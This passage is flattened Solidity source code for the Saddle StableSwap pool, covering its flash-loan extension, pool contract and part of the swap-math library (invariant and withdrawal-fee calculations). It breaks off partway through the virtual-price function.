SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.6.12; /** * @title IFlashLoanReceiver interface * @notice Interface for the Saddle fee IFlashLoanReceiver. Modified from Aave's IFlashLoanReceiver interface. * https://github.com/aave/aave-protocol/blob/4b4545fb583fd4f400507b10f3c3114f45b8a037/contracts/flashloan/interfaces/IFlashLoanReceiver.sol * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address pool, address token, uint256 amount, uint256 fee, bytes calldata params ) external; } // SPDX-License-Identifier: MIT WITH AGPL-3.0-only pragma solidity 0.6.12; import "./SwapV1.sol"; import "./interfaces/IFlashLoanReceiver.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapFlashLoanV1 is SwapV1 { // Total fee that is charged on all flashloans in BPS. Borrowers must repay the amount plus the flash loan fee. // This fee is split between the protocol and the pool. uint256 public flashLoanFeeBPS; // Share of the flash loan fee that goes to the protocol in BPS. A portion of each flash loan fee is allocated // to the protocol rather than the pool. uint256 public protocolFeeShareBPS; // Max BPS for limiting flash loan fee settings. uint256 public constant MAX_BPS = 10000; /*** EVENTS ***/ event FlashLoan( address indexed receiver, uint8 tokenIndex, uint256 amount, uint256 amountFee, uint256 protocolFee ); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) public virtual override initializer { SwapV1.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, _withdrawFee, lpTokenTargetAddress ); flashLoanFeeBPS = 8; // 8 bps protocolFeeShareBPS = 0; // 0 bps } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Borrow the specified token from this pool for this transaction only. This function will call * `IFlashLoanReceiver(receiver).executeOperation` and the `receiver` must return the full amount of the token * and the associated fee by the end of the callback transaction. If the conditions are not met, this call * is reverted. * @param receiver the address of the receiver of the token. This address must implement the IFlashLoanReceiver * interface and the callback function `executeOperation`. * @param token the protocol fee in bps to be applied on the total flash loan fee * @param amount the total amount to borrow in this transaction * @param params optional data to pass along to the callback function */ function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external nonReentrant { uint8 tokenIndex = getTokenIndex(address(token)); uint256 availableLiquidityBefore = token.balanceOf(address(this)); uint256 protocolBalanceBefore = availableLiquidityBefore.sub( swapStorage.balances[tokenIndex] ); require( amount > 0 && availableLiquidityBefore >= amount, "invalid amount" ); // Calculate the additional amount of tokens the pool should end up with uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000); // Calculate the portion of the fee that will go to the protocol uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000); require(amountFee > 0, "amount is small for a flashLoan"); // Transfer the requested amount of tokens token.safeTransfer(receiver, amount); // Execute callback function on receiver IFlashLoanReceiver(receiver).executeOperation( address(this), address(token), amount, amountFee, params ); uint256 availableLiquidityAfter = token.balanceOf(address(this)); require( availableLiquidityAfter >= availableLiquidityBefore.add(amountFee), "flashLoan fee is not met" ); swapStorage.balances[tokenIndex] = availableLiquidityAfter .sub(protocolBalanceBefore) .sub(protocolFee); emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the flash loan fee parameters. This function can only be called by the owner. * @param newFlashLoanFeeBPS the total fee in bps to be applied on future flash loans * @param newProtocolFeeShareBPS the protocol fee in bps to be applied on the total flash loan fee */ function setFlashLoanFees( uint256 newFlashLoanFeeBPS, uint256 newProtocolFeeShareBPS ) external onlyOwner { require( newFlashLoanFeeBPS > 0 && newFlashLoanFeeBPS <= MAX_BPS && newProtocolFeeShareBPS <= MAX_BPS, "fees are not in valid range" ); flashLoanFeeBPS = newFlashLoanFeeBPS; protocolFeeShareBPS = newProtocolFeeShareBPS; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "./OwnerPausableUpgradeable.sol"; import "./SwapUtilsV1.sol"; import "./AmplificationUtilsV1.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapV1 is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using SwapUtilsV1 for SwapUtilsV1.Swap; using AmplificationUtilsV1 for SwapUtilsV1.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtilsV1.sol SwapUtilsV1.Swap public swapStorage; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) public virtual initializer { __OwnerPausable_init(); __ReentrancyGuard_init(); // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtilsV1.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtilsV1.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee parameters require(_a < AmplificationUtilsV1.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtilsV1.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtilsV1.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); require( _withdrawFee < SwapUtilsV1.MAX_WITHDRAW_FEE, "_withdrawFee exceeds maximum" ); // Clone and initialize a LPToken contract LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress)); require( lpToken.initialize(lpTokenName, lpTokenSymbol), "could not init lpToken clone" ); // Initialize swapStorage struct swapStorage.lpToken = lpToken; swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(AmplificationUtilsV1.A_PRECISION); swapStorage.futureA = _a.mul(AmplificationUtilsV1.A_PRECISION); // swapStorage.initialATime = 0; // swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; swapStorage.defaultWithdrawFee = _withdrawFee; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view virtual returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view virtual returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view virtual returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) public view virtual returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Return timestamp of last deposit of given address * @return timestamp of the last deposit made by the given address */ function getDepositTimestamp(address user) external view virtual returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view virtual returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param account address that is depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view virtual returns (uint256) { return swapStorage.calculateTokenAmount(account, amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param account the address that is withdrawing tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(address account, uint256 amount) external view virtual returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(account, amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param account the address that is withdrawing tokens * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view virtual returns (uint256 availableTokenAmount) { return swapStorage.calculateWithdrawOneToken( account, tokenAmount, tokenIndex ); } /** * @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee * decays linearly over period of 4 weeks. For example, depositing and withdrawing right away * will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you * no additional fees. * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view virtual returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view virtual returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external virtual nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the user withdraw fee. This function can only be called by * the pool token. Should be used to update the withdraw fee on transfer of pool tokens. * Transferring your pool token will reset the 4 weeks period. If the recipient is already * holding some pool tokens, the withdraw fee will be discounted in respective amounts. * @param recipient address of the recipient of pool token * @param transferAmount amount of pool token to transfer */ function updateUserWithdrawFee(address recipient, uint256 transferAmount) external { require( msg.sender == address(swapStorage.lpToken), "Only callable by pool token" ); swapStorage.updateUserWithdrawFee(recipient, transferAmount); } /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Update the withdraw fee. This fee decays linearly over 4 weeks since * user's last deposit. * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./AmplificationUtilsV1.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtilsV1 { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculations in the // {add,remove}Liquidity functions to avoid stack too deep errors struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; LPToken lpToken; uint256 totalSupply; uint256[] balances; uint256[] multipliers; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 public constant MAX_WITHDRAW_FEE = 10**8; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; // Time that it should take for the withdraw fee to fully decay to 0 uint256 public constant WITHDRAW_FEE_DECAY_TIME = 4 weeks; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Retrieves the timestamp of last deposit made by the given address * @param self Swap struct to read from * @return timestamp of last deposit */ function getDepositTimestamp(Swap storage self, address user) external view returns (uint256) { return self.depositTimestamp[user]; } function _getAPrecise(Swap storage self) internal view returns (uint256) { return AmplificationUtilsV1._getAPrecise(self); } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param account the address that is withdrawing * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive */ function calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken( self, account, tokenAmount, tokenIndex, self.lpToken.totalSupply() ); return availableTokenAmount; } function _calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 newY; uint256 currentY; (dy, newY, currentY) = calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, totalSupply ); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); dy = dy .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(AmplificationUtilsV1.A_PRECISION).div( nA.mul(numTokens) ); uint256 b = s.add(d.mul(AmplificationUtilsV1.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA .mul(s) .div(AmplificationUtilsV1.A_PRECISION) .add(dP.mul(numTokens)) .mul(d) .div( nA .sub(AmplificationUtilsV1.A_PRECISION) .mul(d) .div(AmplificationUtilsV1.A_PRECISION) .add(numTokens.add(1).mul(dP)) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); LPToken lpToken = self.lpToken; uint256 supply = lpToken.totalSupply(); if (supply > 0) { return 